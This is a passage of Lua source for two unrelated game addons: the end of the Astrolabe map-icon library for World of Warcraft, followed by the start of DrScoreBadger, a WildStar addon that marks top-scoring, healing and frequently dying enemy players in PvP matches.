for icon, iconAssoc in pairs(IconAssociations) do
if ( iconAssoc == assocName ) then
EdgeRangeMultiplier[icon] = multiplier;
end
end
end
self.ForceNextUpdate = true; -- force a redraw
end
function Astrolabe:GetEdgeRangeMultiplier( assocOrIcon )
argcheck(assocOrIcon, 2, "table", "string", "nil");
return rawget(self.EdgeRangeMultiplier, assocOrIcon) or self.DefaultEdgeRangeMultiplier;
end
function Astrolabe:Register_OnEdgeChanged_Callback( func, ident )
argcheck(func, 2, "function");
self.IconsOnEdge_GroupChangeCallbacks[func] = ident;
end
function Astrolabe:SetTargetMinimap( newMinimap )
if ( newMinimap == self.Minimap ) then
return; -- no change
end
argcheck(newMinimap, 2, "table");
assert(3, issecurevariable(newMinimap, 0), "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap");
assert(3, newMinimap.IsObjectType, "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap");
assert(3, type(newMinimap.IsObjectType) == "function", "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap");
assert(3, newMinimap:IsObjectType("Minimap"), "Astrolabe:SetTargetMinimap( newMinimap ) - argument is not a Minimap");
local oldMinimap = self.Minimap;
self.processingFrame:SetParent(newMinimap);
self.Minimap = newMinimap;
self:CalculateMinimapIconPositions(true); -- re-anchor all currently managed icons
-- re-parent all currently managed icons
for icon, data in pairs(self.MinimapIcons) do
if ( icon.GetParent and icon.SetParent ) then
if ( icon:GetParent() == oldMinimap ) then
icon:SetParent(newMinimap);
elseif ( icon:GetParent() and icon:GetParent():GetParent() == oldMinimap ) then -- just incase our icons have an ancestor inbetween them and the Minimap
icon:GetParent():SetParent(newMinimap);
end
end
end
for func in pairs(self.TargetMinimapChanged_Callbacks) do
pcall(func);
end
end
function Astrolabe:Register_TargetMinimapChanged_Callback( func, ident )
-- check argument types
argcheck(func, 2, "function");
self.TargetMinimapChanged_Callbacks[func] = ident;
end
--*****************************************************************************
-- INTERNAL USE ONLY PLEASE!!!
-- Calling this function at the wrong time can cause errors
--*****************************************************************************
function Astrolabe:DumpNewIconsCache()
local MinimapIcons = self.MinimapIcons
for icon, data in pairs(AddedOrUpdatedIcons) do
MinimapIcons[icon] = data
AddedOrUpdatedIcons[icon] = nil
end
-- we now need to restart any updates that were in progress
resetIncrementalUpdate = true
resetFullUpdate = true
end
--------------------------------------------------------------------------------------------------------------
-- World Map Icon Placement
--------------------------------------------------------------------------------------------------------------
function Astrolabe:PlaceIconOnWorldMap( worldMapFrame, icon, mapID, mapFloor, xPos, yPos )
-- check argument types
argcheck(worldMapFrame, 2, "table");
assert(3, worldMapFrame.GetWidth and worldMapFrame.GetHeight, "Usage Message");
argcheck(icon, 3, "table");
assert(3, icon.SetPoint and icon.ClearAllPoints, "Usage Message");
argcheck(mapID, 4, "number");
argcheck(mapFloor, 5, "number", "nil");
argcheck(xPos, 6, "number");
argcheck(yPos, 7, "number");
local M, F = GetCurrentMapAreaID(), GetCurrentMapDungeonLevel();
local nX, nY = self:TranslateWorldMapPosition(mapID, mapFloor, xPos, yPos, M, F);
-- anchor and :Show() the icon if it is within the boundry of the current map, :Hide() it otherwise
if ( nX and nY and (0 < nX and nX <= 1) and (0 < nY and nY <= 1) ) then
icon:ClearAllPoints();
icon:SetPoint("CENTER", worldMapFrame, "TOPLEFT", nX * worldMapFrame:GetWidth(), -nY * worldMapFrame:GetHeight());
icon:Show();
else
icon:Hide();
end
return nX, nY;
end
--------------------------------------------------------------------------------------------------------------
-- Handler Scripts
--------------------------------------------------------------------------------------------------------------
function Astrolabe:OnEvent( frame, event )
if ( event == "MINIMAP_UPDATE_ZOOM" ) then
-- update minimap zoom scale
local Minimap = self.Minimap;
local curZoom = Minimap:GetZoom();
if ( GetCVar("minimapZoom") == GetCVar("minimapInsideZoom") ) then
if ( curZoom < 2 ) then
Minimap:SetZoom(curZoom + 1);
else
Minimap:SetZoom(curZoom - 1);
end
end
if ( GetCVar("minimapZoom")+0 == Minimap:GetZoom() ) then
self.minimapOutside = true;
else
self.minimapOutside = false;
end
Minimap:SetZoom(curZoom);
-- re-calculate all Minimap Icon positions
if ( frame:IsVisible() ) then
self:CalculateMinimapIconPositions(true);
end
elseif ( event == "PLAYER_LEAVING_WORLD" ) then
frame:Hide(); -- yes, I know this is redunant
self:RemoveAllMinimapIcons(); --dump all minimap icons
-- TODO: when I uncouple the point buffer from Minimap drawing,
-- I should consider updating LastPlayerPosition here
elseif ( event == "PLAYER_ENTERING_WORLD" ) then
frame:Show();
if not ( frame:IsVisible() ) then
-- do the minimap recalculation anyways if the OnShow script didn't execute
-- this is done to ensure the accuracy of information about icons that were
-- inserted while the Player was in the process of zoning
self:CalculateMinimapIconPositions(true);
end
elseif ( event == "ZONE_CHANGED_NEW_AREA" ) then
frame:Hide();
frame:Show();
end
end
function Astrolabe:OnUpdate( frame, elapsed )
-- on-edge group changed call-backs
if ( self.IconsOnEdgeChanged ) then
self.IconsOnEdgeChanged = false;
for func in pairs(self.IconsOnEdge_GroupChangeCallbacks) do
pcall(func);
end
end
self:UpdateMinimapIconPositions();
end
function Astrolabe:OnShow( frame )
-- set the world map to a zoom with a valid player position
if not ( self.WorldMapVisible ) then
SetMapToCurrentZone();
end
local M, F = Astrolabe:GetCurrentPlayerPosition();
if not ( M and M >= 0 ) then
frame:Hide();
return
end
-- re-calculate minimap icon positions (if needed)
if ( next(self.MinimapIcons) ) then
self:CalculateMinimapIconPositions(true);
else
-- needed so that the cycle doesn't overwrite an updated LastPlayerPosition
resetIncrementalUpdate = true;
end
if ( self.MinimapIconCount <= 0 ) then
-- no icons left to manage
frame:Hide();
end
end
function Astrolabe:OnHide( frame )
-- dump the new icons cache here
-- a full update will performed the next time processing is re-actived
self:DumpNewIconsCache()
end
-- called by AstrolabMapMonitor when all world maps are hidden
function Astrolabe:AllWorldMapsHidden()
if ( IsLoggedIn() ) then
self.processingFrame:Hide();
self.processingFrame:Show();
end
end
--------------------------------------------------------------------------------------------------------------
-- Library Registration
--------------------------------------------------------------------------------------------------------------
local HARVESTED_DATA_VERSION = 3; -- increment this when the format of the harvested data has to change
local function harvestMapData( HarvestedMapData )
local mapData = {}
local mapName = GetMapInfo();
local mapID = GetCurrentMapAreaID();
local numFloors = GetNumDungeonMapLevels();
mapData.mapName = mapName;
mapData.cont = (GetCurrentMapContinent()) or -100;
mapData.zone = (GetCurrentMapZone()) or -100;
mapData.numFloors = numFloors;
local _, TLx, TLy, BRx, BRy = GetCurrentMapZone();
if ( TLx and TLy and BRx and BRy and (TLx~=0 or TLy~=0 or BRx~=0 or BRy~=0) ) then
mapData[0] = {};
mapData[0].TLx = TLx;
mapData[0].TLy = TLy;
mapData[0].BRx = BRx;
mapData[0].BRy = BRy;
end
if ( not mapData[0] and numFloors == 0 and (GetCurrentMapDungeonLevel()) == 1 ) then
numFloors = 1;
mapData.hiddenFloor = true;
end
if ( numFloors > 0 ) then
for f = 1, numFloors do
SetDungeonMapLevel(f);
local _, TLx, TLy, BRx, BRy = GetCurrentMapDungeonLevel();
if ( TLx and TLy and BRx and BRy ) then
mapData[f] = {};
mapData[f].TLx = TLx;
mapData[f].TLy = TLy;
mapData[f].BRx = BRx;
mapData[f].BRy = BRy;
end
end
end
HarvestedMapData[mapID] = mapData;
end
local function activate( newInstance, oldInstance )
if ( oldInstance ) then -- this is an upgrade activate
-- print upgrade debug info
local _, oldVersion = oldInstance:GetVersion();
printError("Upgrading "..LIBRARY_VERSION_MAJOR.." from version "..oldVersion.." to version "..LIBRARY_VERSION_MINOR);
if ( oldInstance.DumpNewIconsCache ) then
oldInstance:DumpNewIconsCache()
end
for k, v in pairs(oldInstance) do
if ( type(v) ~= "function" and (not configConstants[k]) ) then
newInstance[k] = v;
end
end
-- sync up the current MinimapIconCount value
local iconCount = 0
for _ in pairs(newInstance.MinimapIcons) do
iconCount = iconCount + 1
end
newInstance.MinimapIconCount = iconCount
-- explicity carry over our Minimap reference, or create it if we don't already have one
newInstance.Minimap = oldInstance.Minimap or _G.Minimap
Astrolabe = oldInstance;
else
newInstance.Minimap = _G.Minimap
local frame = CreateFrame("Frame");
newInstance.processingFrame = frame;
end
configConstants = nil -- we don't need this anymore
if not ( oldInstance and oldInstance.HarvestedMapData.VERSION == HARVESTED_DATA_VERSION ) then
newInstance.HarvestedMapData = { VERSION = HARVESTED_DATA_VERSION };
local HarvestedMapData = newInstance.HarvestedMapData;
local continents = {GetMapContinents()};
newInstance.ContinentList = {};
for C = 1, (#continents / 2) do
local zones = {GetMapZones(C)};
newInstance.ContinentList[C] = {};
SetMapZoom(C);
harvestMapData(HarvestedMapData);
local contZoneList = newInstance.ContinentList[C];
contZoneList[0] = continents[C*2 - 1];
for Z = 1, (#zones / 2) do
contZoneList[Z] = zones[Z*2 - 1];
SetMapByID(contZoneList[Z]);
harvestMapData(HarvestedMapData);
end
end
for _, id in ipairs(GetAreaMaps()) do
if not ( HarvestedMapData[id] ) then
if ( SetMapByID(id) ) then
harvestMapData(HarvestedMapData);
end
end
end
end
local Minimap = newInstance.Minimap
local frame = newInstance.processingFrame;
frame:Hide();
frame:SetParent(Minimap);
frame:UnregisterAllEvents();
frame:RegisterEvent("MINIMAP_UPDATE_ZOOM");
frame:RegisterEvent("PLAYER_LEAVING_WORLD");
frame:RegisterEvent("PLAYER_ENTERING_WORLD");
frame:RegisterEvent("ZONE_CHANGED_NEW_AREA");
frame:SetScript("OnEvent",
function( frame, event, ... )
Astrolabe:OnEvent(frame, event, ...);
end
);
frame:SetScript("OnUpdate",
function( frame, elapsed )
Astrolabe:OnUpdate(frame, elapsed);
end
);
frame:SetScript("OnShow",
function( frame )
Astrolabe:OnShow(frame);
end
);
frame:SetScript("OnHide",
function( frame )
Astrolabe:OnHide(frame);
end
);
setmetatable(Astrolabe.MinimapIcons, MinimapIconsMetatable)
end
DongleStub:Register(Astrolabe, activate)
--------------------------------------------------------------------------------------------------------------
-- Data
--------------------------------------------------------------------------------------------------------------
-- diameter of the Minimap in game yards at
-- the various possible zoom levels
MinimapSize = {
indoor = {
[0] = 300, -- scale
[1] = 240, -- 1.25
[2] = 180, -- 5/3
[3] = 120, -- 2.5
[4] = 80, -- 3.75
[5] = 50, -- 6
},
outdoor = {
[0] = 466 + 2/3, -- scale
[1] = 400, -- 7/6
[2] = 333 + 1/3, -- 1.4
[3] = 266 + 2/6, -- 1.75
[4] = 200, -- 7/3
[5] = 133 + 1/3, -- 3.5
},
}
ValidMinimapShapes = {
-- { upper-left, lower-left, upper-right, lower-right }
["SQUARE"] = { false, false, false, false },
["CORNER-TOPLEFT"] = { true, false, false, false },
["CORNER-TOPRIGHT"] = { false, false, true, false },
["CORNER-BOTTOMLEFT"] = { false, true, false, false },
["CORNER-BOTTOMRIGHT"] = { false, false, false, true },
["SIDE-LEFT"] = { true, true, false, false },
["SIDE-RIGHT"] = { false, false, true, true },
["SIDE-TOP"] = { true, false, true, false },
["SIDE-BOTTOM"] = { false, true, false, true },
["TRICORNER-TOPLEFT"] = { true, true, true, false },
["TRICORNER-TOPRIGHT"] = { true, false, true, true },
["TRICORNER-BOTTOMLEFT"] = { true, true, false, true },
["TRICORNER-BOTTOMRIGHT"] = { false, true, true, true },
}
-- distances across and offsets of the world maps
-- in game yards
WorldMapSize = {
[0] = {
height = 22266.74312,
system = -1,
width = 33400.121,
xOffset = 0,
yOffset = 0,
[1] = {
xOffset = -10311.71318,
yOffset = -19819.33898,
scale = 0.56089997291565,
},
[0] = {
xOffset = -48226.86993,
yOffset = -16433.90283,
scale = 0.56300002336502,
},
[571] = {
xOffset = -29750.89905,
yOffset = -11454.50802,
scale = 0.5949000120163,
},
[870] = {
xOffset = -27693.71178,
yOffset = -29720.0585,
scale = 0.65140002965927,
},
},
}
MicroDungeonSize = {}
-- SetMapByID does not work for mapID 971 or 976 during the first UI load since the client was started, so we have to hardcode their information.
local HARDCODED_MAP_INFORMATION = {
[971] = {
["mapName"] = "garrisonsmvalliance",
["cont"] = 7,
["zone"] = 7,
["numFloors"] = 0,
[0] = {},
},
[976] = {
["mapName"] = "garrisonffhorde",
["cont"] = 7,
["zone"] = 3,
["numFloors"] = 0,
[0] = {},
},
}
-- Distribute data from hardcoding to their maps
for mapID, data in pairs(HARDCODED_MAP_INFORMATION) do
-- Only distribute the information if we didn't get it through other means
if ( not Astrolabe.HarvestedMapData[mapID] ) then
-- Copy table contents
Astrolabe.HarvestedMapData[mapID] = {}
Astrolabe.HarvestedMapData[mapID].mapName = data.mapName
Astrolabe.HarvestedMapData[mapID].cont = data.cont
Astrolabe.HarvestedMapData[mapID].zone = data.zone
Astrolabe.HarvestedMapData[mapID].numFloors = data.numFloors
Astrolabe.HarvestedMapData[mapID].hiddenFloor = data.hiddenFloor
Astrolabe.HarvestedMapData[mapID][0] = {}
-- While these mapIDs are not accessible by most of the API, we -can- get base floor coordinate info, so we don't have to hardcode that.
local _, _, _, TLx, BRx, TLy, BRy, _, _, _ = GetAreaMapInfo(mapID)
Astrolabe.HarvestedMapData[mapID][0].TLx = TLx
Astrolabe.HarvestedMapData[mapID][0].TLy = TLy
Astrolabe.HarvestedMapData[mapID][0].BRx = BRx
Astrolabe.HarvestedMapData[mapID][0].BRy = BRy
end
end
-- worldMapIDs who have the bit 2 flag set cannot be displayed via SetMapByID and therefore will get no information from the above code.
-- We work around this by remapping them where possible since their characteristics usually are based off another worldMapID anyway.
local MAPS_TO_REMAP = {
[19] = {992}, -- BlastedLands_terrain1 = BlastedLands
[141] = {907}, -- Dustwallow = Dustwallow_terrain1
[544] = {681, 682}, -- TheLostIsles = TheLostIsles_terrain1, TheLostIsles_terrain2
[606] = {683}, -- Hyjal = Hyjal_terrain1
[700] = {770}, -- TwilightHighlands = TwilightHighlands_terrain1
[720] = {748}, -- Uldum = Uldum_terrain1
[857] = {910}, -- Krasarang = Krasarang_terrain1
[971] = {973, 974, 975, 991}, -- garrisonsmvalliance = garrisonsmvalliance_tier1, garrisonsmvalliance_tier3, garrisonsmvalliance_tier4, garrisonsmvalliance_tier2
[976] = {980, 981, 982, 990}, -- garrisonffhorde = garrisonffhorde_tier1, garrisonffhorde_tier3, garrisonffhorde_tier4, garrisonffhorde_tier2
}
-- Distribute data from valid maps to maps needing remapping
for validMapID, remapMapIDs in pairs(MAPS_TO_REMAP) do
for _, currentRemapMapID in pairs(remapMapIDs) do
if ( Astrolabe.HarvestedMapData[validMapID] and not Astrolabe.HarvestedMapData[currentRemapMapID] ) then
-- Speed up accesses
local oldTable = Astrolabe.HarvestedMapData[validMapID]
Astrolabe.HarvestedMapData[currentRemapMapID] = {}
local newTable = Astrolabe.HarvestedMapData[currentRemapMapID]
-- Copy table contents
newTable.mapName = oldTable.mapName
newTable.cont = oldTable.cont
newTable.zone = oldTable.zone
newTable.numFloors = oldTable.numFloors
newTable.hiddenFloor = oldTable.hiddenFloor
-- Copy floors
if ( oldTable.numFloors ) then
for f = 0, oldTable.numFloors do
if ( oldTable[f] and oldTable[f].TLx and oldTable[f].TLy and oldTable[f].BRx and oldTable[f].BRy ) then
newTable[f] = {}
newTable[f].TLx = oldTable[f].TLx
newTable[f].TLy = oldTable[f].TLy
newTable[f].BRx = oldTable[f].BRx
newTable[f].BRy = oldTable[f].BRy
end
end
end
end
end
end
--------------------------------------------------------------------------------------------------------------
-- Internal Data Table Setup
--------------------------------------------------------------------------------------------------------------
-- Map Data API Flag Fields --
-- GetAreaMapInfo - flags
local WORLDMAPAREA_DEFAULT_DUNGEON_FLOOR_IS_TERRAIN = 0x00000004
local WORLDMAPAREA_VIRTUAL_CONTINENT = 0x00000008
-- GetDungeonMapInfo - flags
local DUNGEONMAP_MICRO_DUNGEON = 0x00000001
-- Zero Data Table
-- Used to prevent runtime Lua errors due to missing data
local function zeroDataFunc(tbl, key)
if ( type(key) == "number" ) then
return zeroData;
else
return rawget(zeroData, key);
end
end
zeroData = { xOffset = 0, height = 1, yOffset = 0, width = 1, __index = zeroDataFunc };
setmetatable(zeroData, zeroData);
-- get data on useful transforms
local TRANSFORMS = {}
for _, ID in ipairs(GetWorldMapTransforms()) do
local terrainMapID, newTerrainMapID, _, _, transformMinY, transformMaxY, transformMinX, transformMaxX, offsetY, offsetX = GetWorldMapTransformInfo(ID)
if ( offsetX ~= 0 or offsetY ~= 0 ) then
TRANSFORMS[ID] = {
terrainMapID = terrainMapID,
newTerrainMapID = newTerrainMapID,
BRy = -transformMinY,
TLy = -transformMaxY,
BRx = -transformMinX,
TLx = -transformMaxX,
offsetY = offsetY,
offsetX = offsetX,
}
end
end
--remove this temporarily
local harvestedDataVersion = Astrolabe.HarvestedMapData.VERSION
Astrolabe.HarvestedMapData.VERSION = nil
for mapID, harvestedData in pairs(Astrolabe.HarvestedMapData) do
local terrainMapID, _, _, _, _, _, _, _, _, flags = GetAreaMapInfo(mapID)
local originSystem = terrainMapID;
local mapData = WorldMapSize[mapID];
if not ( mapData ) then mapData = {}; end
if ( harvestedData.numFloors > 0 or harvestedData.hiddenFloor ) then
for f, harvData in pairs(harvestedData) do
if ( type(f) == "number" and f > 0 ) then
if not ( mapData[f] ) then
mapData[f] = {};
end
local floorData = mapData[f]
local TLx, TLy, BRx, BRy = -harvData.BRx, -harvData.BRy, -harvData.TLx, -harvData.TLy
if not ( TLx < BRx ) then
printError("Bad x-axis Orientation (Floor): ", mapID, f, TLx, BRx);
end
if not ( TLy < BRy) then
printError("Bad y-axis Orientation (Floor): ", mapID, f, TLy, BRy);
end
if not ( floorData.width ) then
floorData.width = BRx - TLx
end
if not ( floorData.height ) then
floorData.height = BRy - TLy
end
if not ( floorData.xOffset ) then
floorData.xOffset = TLx
end
if not ( floorData.yOffset ) then
floorData.yOffset = TLy
end
end
end
for f = 1, harvestedData.numFloors do
if not ( mapData[f] ) then
if ( f == 1 and harvestedData[0] and harvestedData[0].TLx and harvestedData[0].TLy and harvestedData[0].BRx and harvestedData[0].BRy and
band(flags, WORLDMAPAREA_DEFAULT_DUNGEON_FLOOR_IS_TERRAIN) == WORLDMAPAREA_DEFAULT_DUNGEON_FLOOR_IS_TERRAIN ) then
-- handle dungeon maps which use zone level data for the first floor
mapData[f] = {};
local floorData = mapData[f]
local harvData = harvestedData[0]
local TLx, TLy, BRx, BRy = -harvData.TLx, -harvData.TLy, -harvData.BRx, -harvData.BRy
if not ( TLx < BRx ) then
printError("Bad x-axis Orientation (Floor from Zone): ", mapID, f, TLx, BRx);
end
if not ( TLy < BRy) then
printError("Bad y-axis Orientation (Floor from Zone): ", mapID, f, TLy, BRy);
end
floorData.width = BRx - TLx
floorData.height = BRy - TLy
floorData.xOffset = TLx
floorData.yOffset = TLy
else
printError(("Astrolabe is missing data for %s [%d], floor %d."):format(harvestedData.mapName, mapID, f));
end
end
end
if ( harvestedData.hiddenFloor ) then
mapData.width = mapData[1].width
mapData.height = mapData[1].height
mapData.xOffset = mapData[1].xOffset
mapData.yOffset = mapData[1].yOffset
end
else
local harvData = harvestedData[0]
if ( harvData ~= nil ) then
local TLx, TLy, BRx, BRy = -harvData.TLx, -harvData.TLy, -harvData.BRx, -harvData.BRy
-- apply any necessary transforms
for transformID, transformData in pairs(TRANSFORMS) do
if ( transformData.terrainMapID == terrainMapID ) then
if ( (transformData.TLx < TLx and BRx < transformData.BRx) and (transformData.TLy < TLy and BRy < transformData.BRy) ) then
TLx = TLx - transformData.offsetX;
BRx = BRx - transformData.offsetX;
BRy = BRy - transformData.offsetY;
TLy = TLy - transformData.offsetY;
terrainMapID = transformData.newTerrainMapID;
break;
end
end
end
if not ( TLx==0 and TLy==0 and BRx==0 and BRy==0 ) then
if not ( TLx < BRx ) then
printError("Bad x-axis Orientation (Zone): ", mapID, TLx, BRx);
end
if not ( TLy < BRy) then
printError("Bad y-axis Orientation (Zone): ", mapID, TLy, BRy);
end
end
if not ( mapData.width ) then
mapData.width = BRx - TLx
end
if not ( mapData.height ) then
mapData.height = BRy - TLy
end
if not ( mapData.xOffset ) then
mapData.xOffset = TLx
end
if not ( mapData.yOffset ) then
mapData.yOffset = TLy
end
else
if ( mapID == 751 ) then -- okay, this is Maelstrom continent
else
printError("Astrolabe harvested a map with no data at all: ", mapID)
end
end
end
-- if we don't have any data, we're gonna use zeroData, but we also need to
-- setup the system and systemParent IDs so things don't get confused
if not ( next(mapData, nil) ) then
mapData = { xOffset = 0, height = 1, yOffset = 0, width = 1 };
-- if this is an outside continent level or world map then throw up an extra warning
if ( harvestedData.cont > 0 and harvestedData.zone == 0 and not (band(flags, WORLDMAPAREA_VIRTUAL_CONTINENT) == WORLDMAPAREA_VIRTUAL_CONTINENT) ) then
printError(("Astrolabe is missing data for world map %s [%d] (%d, %d)."):format(harvestedData.mapName, mapID, harvestedData.cont, harvestedData.zone));
end
end
if not ( mapData.originSystem ) then
mapData.originSystem = originSystem;
end
-- store the data in the WorldMapSize DB
WorldMapSize[mapID] = mapData;
if ( mapData and mapData ~= zeroData ) then
-- setup system IDs
if not ( mapData.system ) then
mapData.system = terrainMapID;
end
-- determine terrainMapID for micro-dungeons
if ( harvestedData.cont > 0 and harvestedData.zone > 0 ) then
MicroDungeonSize[terrainMapID] = {}
end
setmetatable(mapData, zeroData);
end
end
-- put the version back
Astrolabe.HarvestedMapData.VERSION = harvestedDataVersion
-- micro dungeons
for _, ID in ipairs(GetDungeonMaps()) do
local floorIndex, minX, maxX, minY, maxY, terrainMapID, parentWorldMapID, flags = GetDungeonMapInfo(ID);
if ( (WorldMapSize[parentWorldMapID] and not WorldMapSize[parentWorldMapID][floorIndex]) or (band(flags, DUNGEONMAP_MICRO_DUNGEON) == DUNGEONMAP_MICRO_DUNGEON) ) then
local TLx, TLy, BRx, BRy = -maxX, -maxY, -minX, -minY
-- apply any necessary transforms
local transformApplied = false
for transformID, transformData in pairs(TRANSFORMS) do
if ( transformData.terrainMapID == terrainMapID ) then
if ( (transformData.TLx < TLx and BRx < transformData.BRx) and (transformData.TLy < TLy and BRy < transformData.BRy) ) then
TLx = TLx - transformData.offsetX;
BRx = BRx - transformData.offsetX;
BRy = BRy - transformData.offsetY;
TLy = TLy - transformData.offsetY;
transformApplied = true;
break;
end
end
end
if ( MicroDungeonSize[terrainMapID] ) then
-- only consider systems that can have micro dungeons
if ( MicroDungeonSize[terrainMapID][floorIndex] ) then
printError("Astrolabe detected a duplicate microdungeon floor!", terrainMapID, ID);
end
MicroDungeonSize[terrainMapID][floorIndex] = {
width = BRx - TLx,
height = BRy - TLy,
xOffset = TLx,
yOffset = TLy,
};
end
end
end
-- done with Transforms data
TRANSFORMS = nil
-- Note: There is a potential bug that could come up here in the future.
-- Example: ingame API returns mapID 857 floor 2 for a micro dungeon, while GetDungeonMapInfo lists the mapID as 910.
-- Because Astrolabe sets up micro dungeon data using originSystems, there is no issue (857 and 910 share an originSystem) with any data at this point in time (Patch 6.1).
-- However, the issue could surface in the future if Blizzard mislabeled an originSystem, hence the note placed here.
for _, data in pairs(MicroDungeonSize) do
setmetatable(data, zeroData);
end
setmetatable(MicroDungeonSize, zeroData);
-- make sure we don't have any EXTRA data hanging around
for mapID, mapData in pairs(WorldMapSize) do
if ( mapID ~= 0 and getmetatable(mapData) ~= zeroData ) then
printError("Astrolabe has hard coded data for an invalid map ID", mapID);
end
end
setmetatable(WorldMapSize, zeroData); -- setup the metatable so that invalid map IDs don't cause Lua errors
-- register this library with AstrolabeMapMonitor, this will cause a full update if PLAYER_LOGIN has already fired
local AstrolabeMapMonitor = DongleStub("AstrolabeMapMonitor");
AstrolabeMapMonitor:RegisterAstrolabeLibrary(Astrolabe, LIBRARY_VERSION_MAJOR);
|
-----------------------------------------------------------------------------------------------
-- Client Lua Script for DrScoreBadger
-- Copyright (c) NCsoft. All rights reserved
-----------------------------------------------------------------------------------------------
require "Window"
-----------------------------------------------------------------------------------------------
-- DrScoreBadger Module Definition
-----------------------------------------------------------------------------------------------
local DrScoreBadger = {}
local tRaceHeadHeight = {
[0] = 3,
[GameLib.CodeEnumRace.Human] = 2.1,
[GameLib.CodeEnumRace.Granok] = 3,
[GameLib.CodeEnumRace.Aurin] = 1.8,
[GameLib.CodeEnumRace.Draken] = 2.3,
[GameLib.CodeEnumRace.Mechari] = 2.85,
[GameLib.CodeEnumRace.Mordesh] = 2.75,
[GameLib.CodeEnumRace.Chua] = 1.35,
}
local healSprites = {"plus", "plus1", "plus2", "plus3", "plus4"}
local killsSprites = {"king", "king1", "king2", "king3", "king4"}
local deathsSprites = {"turd", "turd1", "turd2", "turd3", "turd4"}
-----------------------------------------------------------------------------------------------
-- Initialization
-----------------------------------------------------------------------------------------------
function DrScoreBadger:new(o)
o = o or {}
setmetatable(o, self)
self.__index = self
self.options = {}
self.options.bShowHealers = true
self.options.bShowScorers = true
self.options.bShowTurds = true
self.options.nNumDamage = 3
self.options.nNumKills = 3
self.options.nNumDeaths = 3
self.options.opacity = 60
self.options.size = 60
self.options.height = 100
self.options.healSprite = 3
self.options.killsSprite = 3
self.options.deathsSprite = 4
self.bTesting = false
return o
end
function DrScoreBadger:Init()
local bHasConfigureFunction = true
local strConfigureButtonText = "drScoreBadger"
local tDependencies = {}
Apollo.RegisterAddon(self, bHasConfigureFunction, strConfigureButtonText, tDependencies)
end
-----------------------------------------------------------------------------------------------
-- DrScoreBadger OnLoad
-----------------------------------------------------------------------------------------------
function DrScoreBadger:OnLoad()
Apollo.LoadSprites("drScoreBadgerSprites.xml", "drScoreBadgerSprites")
self.xmlDoc = XmlDoc.CreateFromFile("drScoreBadger.xml")
self.xmlDoc:RegisterCallback("OnDocLoaded", self)
end
-----------------------------------------------------------------------------------------------
-- DrScoreBadger OnDocLoaded
-----------------------------------------------------------------------------------------------
function DrScoreBadger:OnDocLoaded()
if self.xmlDoc ~= nil and self.xmlDoc:IsLoaded() then
self.wndMain = Apollo.LoadForm(self.xmlDoc, "DrScoreBadgerHUD", "InWorldHudStratum", self)
if self.wndMain == nil then
Apollo.AddAddonErrorText(self, "Could not load the HUD window for some reason.")
return
end
self.wndMain:Show(true, true)
self.wndOpts = Apollo.LoadForm(self.xmlDoc, "DrScoreBadgerOptions", nil, self)
if self.wndOpts == nil then
Apollo.AddAddonErrorText(self, "Could not load the settings window for some reason.")
return
end
self.wndOpts:Show(false, true)
Apollo.RegisterSlashCommand("drsb", "OnConfigure", self)
end
Apollo.RegisterEventHandler("PublicEventStart", "OnPublicEventStart", self)
Apollo.RegisterEventHandler("PublicEventLiveStatsUpdate", "OnPublicEventStart", self)
Apollo.RegisterEventHandler("MatchEntered", "OnMatchEntered", self)
Apollo.RegisterEventHandler("MatchExited", "OnMatchExited", self)
Apollo.RegisterEventHandler("NextFrame", "OnNextFrame", self)
Apollo.RegisterEventHandler("TargetUnitChanged", "OnTargetUnitChanged", self)
end
-----------------------------------------------------------------------------------------------
-- DrScoreBadger Functions
-----------------------------------------------------------------------------------------------
function DrScoreBadger:OnSave(eLevel)
if eLevel ~= GameLib.CodeEnumAddonSaveLevel.Character then
return nil
end
ret = {}
for k,v in pairs(self.options) do
ret[k] = v
end
return ret
end
function DrScoreBadger:OnRestore(eLevel, tData)
for k,v in pairs(tData) do
self.options[k] = v
end
end
function DrScoreBadger:OnPublicEventStart(peEvent)
tStats = peEvent:GetLiveStats()
if tStats == nil or tStats.arTeamStats == nil or #tStats.arTeamStats < 2 then
return
end
myTeam = tStats.arTeamStats[1].bIsMyTeam and tStats.arTeamStats[1].strTeamName or tStats.arTeamStats[2].strTeamName
enemies = filter_a(tStats.arParticipantStats, function(player) return player.strTeamName ~= myTeam end)
self.healers = filter_a(enemies,
function(player)
return player.nHealed > player.nDamage and
(player.eClass == GameLib.CodeEnumClass.Esper or player.eClass == GameLib.CodeEnumClass.Medic or player.eClass == GameLib.CodeEnumClass.Spellslinger)
end)
self.topKillers = filter_a(topK(enemies, self.options.nNumKills, function(p1, p2) return p2.nKills < p1.nKills end),
function(player) return player.nKills > 0 end)
self.topDamagers = filter_a(topK(enemies, self.options.nNumDamage, function(p1, p2) return p2.nDamage < p1.nDamage end),
function(player) return player.nDamage > 0 end)
self.topDeaths = filter_a(topK(enemies, self.options.nNumDeaths, function(p1, p2) return p2.nDeaths < p1.nDeaths end),
function(player) return player.nDeaths > 0 end)
end
function DrScoreBadger:OnMatchEntered()
self.healers = nil
self.topKillers = nil
self.topDamagers = nil
self.topDeaths = nil
end
function DrScoreBadger:OnMatchExited()
self.healers = nil
self.topKillers = nil
self.topDamagers = nil
self.topDeaths = nil
end
function DrScoreBadger:OnNextFrame()
self.wndMain:DestroyAllPixies()
if self.options.bShowHealers then
self:DrawPixies(self.healers, self:GetHealSprite())
end
if self.options.bShowScorers then
self:DrawPixies(self.topKillers, self:GetKillsSprite())
self:DrawPixies(self.topDamagers, self:GetKillsSprite())
end
if self.options.bShowTurds then
self:DrawPixies(self.topDeaths, self:GetDeathsSprite())
end
if self.bTesting then
if self.targetUnit == nil then
self.targetUnit = GameLib.GetTargetUnit()
end
if self.targetUnit ~= nil then
self:DrawPixies({{unitParticipant=self.targetUnit, strName=self.targetUnit:GetName()}}, self.testSprite)
end
end
end
function DrScoreBadger:DrawPixies(players, spriteName)
if players ~= nil then
for _, player in pairs(players) do
unit = player.unitParticipant
if unit == nil then
unit = GameLib.GetPlayerUnitByName(player.strName)
end
if unit ~= nil then
head_height = tRaceHeadHeight[unit:GetRaceId() or 0]
if unit:IsMounted() then
head_height = head_height * 1.5
end
-- [0, 100] => [-0.2*h, 2*h]
badge_height = (self.options.height / 100 * 2.2 - 0.2) * head_height
height3 = Vector3.New(0, badge_height, 0)
pos3 = unit:GetPosition()
if pos3 ~= nil then
screen3 = GameLib.WorldLocToScreenPoint(Vector3.New(pos3.x, pos3.y, pos3.z) + height3)
offset = self.options.size / 2
